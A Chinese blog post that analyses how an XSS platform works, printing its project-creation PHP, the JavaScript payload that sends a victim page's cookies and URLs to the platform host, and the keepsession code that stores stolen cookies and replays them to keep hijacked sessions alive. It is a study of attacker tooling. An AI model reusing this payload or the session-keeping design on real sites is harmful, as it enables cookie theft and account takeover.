好奇驱使我对XSS平台的一次小研究

[TOC]
### 前言
>这一段时间博客一直木有时间和东西产出，所以趁着这个小短假研究了一下XSS平台的运行原理是怎么样的。
该博文大概是这么一个流程：创建-》接收返回数据-》存储返回数据-》如何维持会话有效期

### 正文
####创建
首先看下平台从创建项目的流程开始进行分析。
![1.png](http://www.bugsafe.cn/usr/uploads/2018/04/1982463434.png)
首先创建一个默认模块项目的话，那么它是如何存入至数据库的呢？
我们来看看代码
```php
  $id=Val('id','POST',1); //接收项目id
  $ty=Val('ty','POST'); //获取类型，如：创建
  $db=DBConnect();
  $project=$db->FirstRow("SELECT * FROM ".Tb('project')." WHERE id='{$id}' AND userId='".$user->userId."'");
  if(empty($project)) ShowError('项目不存在或没有权限'); //查询创建是否存在及所属者
  //模块
  $modules=Val('modules','POST',1,1); //接收模块id
  $code=Val('code','POST'); //接收自定义代码内容
  $values=array(
   'code'=>$code
  );
  if(!empty($modules)){
   $values['modules']=JsonEncode($modules);  //将接收的模块id转为json后放入values数组内
   $moduleSetKeys=array();
   //配置的参数
   foreach($modules as $mId){
    $module=$db->FirstRow("SELECT * FROM ".Tb('module')." WHERE id='{$mId}'");//查询这个模块的信息       
    if(!empty($module) && !empty($module['setkeys'])){
     $mSetKeys=(array)json_decode($module['setkeys'],true);  //获取这个模块的配置参数在专程数组格式
     foreach($mSetKeys as $setkey){
      $setkeyK="setkey_{$mId}_{$setkey}";//这里在处理要接收的参数名      
      $setkeyV=Val($setkeyK,'POST'); //开始接收
      if(!empty($setkeyV)) $moduleSetKeys["$setkeyK"]=urlencode($setkeyV);//如果有参数的话那么就塞入moduleSetKeys数组内。
     }
    }
   }
   $values['moduleSetKeys']=JsonEncode($moduleSetKeys);//最后在专程json放入values数组里
  }
```
看到数据库，可以看到 `modules` 存放的为模块 `id` 而 `moduleSetKeys` 存放的则是配置参数，如果没有选择参数的话则为空。
![2.png](http://www.bugsafe.cn/usr/uploads/2018/04/3889069708.png)
这个就是创建完项目后，项目的简略的存储情况。

####接收存储返回数据
接下来就继续来看下，平台是如何接收到 `cookie` 并且返回存储至数据库的。
我们可以关注到项目代码这一块地方。
![3.png](http://www.bugsafe.cn/usr/uploads/2018/04/3533215217.png)
主要的获取cookie操作就在于这段js代码里面，随后在将数据发送至某个控制器中进行处理。
我们插入的短地址指向的内容其实就是这一串JS代码。最后访问即直接调用的这串JS代码。

首先是创建一个 `Image对象`，随后定义`Image对象`的src。请求的URL就是xss平台的URL，可以这样理解。这里是对xss平台URL进行一次请求，而这个URL是怎么样的呢。
```javascript
(function(){
 (new Image()).src='http://192.168.31.220/xss_platform//index.php?do=api&id=nK91eT&location='+escape((function(){
  try{
   return document.location.href
  }catch(e){
   return ''
  }
 })
 ())+'&toplocation='+escape((function(){
  try{
   return top.location.href
  }catch(e){
   return ''
  }
 })
 ())+'&cookie='+escape((function(){
  try{
   return document.cookie
  }catch(e){
   return ''
  }
 })
 ())+'&opener='+escape((function(){
  try{
   return (window.opener && window.opener.location.href)?window.opener.location.href:''
  }catch(e){
   return ''
  }
 })());
})();
```
可以看到其实都是一些基础的js代码，比如：`document.location.href`、`top.location.href`、`document.cookie`等，最后拼接成的一个URL，然后对URL进行请求。
最后请求的URL会变成：
`http://192.168.31.220/xss_platform//index.php?do=api&id=dUqQim&location=http%3A//192.168.31.220/xss_platform/&toplocation=http%3A//192.168.31.220/xss_platform/&cookie=cookie信息&opener=`
随后就会到 `api` 这个控制器里对 `id`、`location`、`toplocation`、`cookie`、`opener` 这些参数进行接收并且处理。
![4.png](http://www.bugsafe.cn/usr/uploads/2018/04/13305805.png)
对数据格式进行处理之后，将数据存储至 `project_content`这张表中。
![5.png](http://www.bugsafe.cn/usr/uploads/2018/04/3890236690.png)
当 `keepsession` 是选中状态的时候，那么以下代码就会触发。先是触发到 `api` 控制器，随后会在请求一次URL，触发的为 `keepsession` 控制器，用于维持会话。
```
if('1'==1){
 keep=new Image();
 keep.src='http://192.168.31.220/xss_platform//index.php?do=keepsession&id=nK91eT&url='+escape(document.location)+'&cookie='+escape(document.cookie)
};
```
代码如下：
```
$urlKey=Val('id','GET');
$url=Val('url','GET');
$cookie=Val('cookie','GET');

$db=DBConnect();
$project=$db->FirstRow("SELECT * FROM ".Tb('project')." WHERE urlKey='{$urlKey}'");

if(!empty($project) && !empty($url) && !empty($cookie)){
 $hash=md5($url.$cookie);
 $existed=$db->FirstValue("SELECT COUNT(*) FROM ".Tb('keepsession')." WHERE hash='{$hash}'");
 if($existed<=0){
  //判断用户key session的请求数量
  $sum=$db->FirstValue("SELECT COUNT(*) FROM ".Tb('keepsession')." WHERE userId='{$project[userId]}'");
  if($sum<10){
   $sqlValues=array(
    'projectId'=>$project['id'],
    'userId'=>$project['userId'],
    'url'=>$url,
    'cookie'=>$cookie,
    'hash'=>$hash,
    'addTime'=>time(),
    'updateTime'=>time()
   );
   $db->AutoExecute(Tb('keepsession'),$sqlValues);
  }
 }
}
```
可以看到，经过逻辑判断之后呢，最后可以看到是将`项目id`，`用户id`，`url`，`cookie`，`hash`，`addTime`，`updateTime`存储至了 `keepsession` 表中的。

整个接收及存储的流程就是这样。
![6.png](http://www.bugsafe.cn/usr/uploads/2018/04/3465029169.png)

####维持会话有效期

在打到cookie，可能有的时候没有来得及查看，等到反应过来再去查看的时候会话就已经过期了。那么 `keepsession` 到底是怎么样实现的呢。
看了下代码发现很简单，平台会自动的隔一段时间，遍历整个 `keepsession` 表里面的数据。随后循环对目标服务器进行一次带cookie的请求。这样就实现了维持会话的功能了。

**PS：文章木有什么技术含量，好奇驱使我对该平台的一次小学习，结果发现跟想象中的一致，但是良好的习惯驱使我将这次学习记录下来。**

Poacher's Blog

信息安全梦开始的地方,一个小菜鸡#

好奇驱使我对XSS平台的一次小研究

林哲2018-04-19 22:55回复

Poacher2018-04-20 09:50回复

wind2018-05-14 17:36回复

Poacher2018-05-15 17:31回复

wind2018-05-14 17:46回复

搬瓦工2018-09-07 20:06回复

Poacher2018-09-08 11:42回复

添加新评论

分类

归档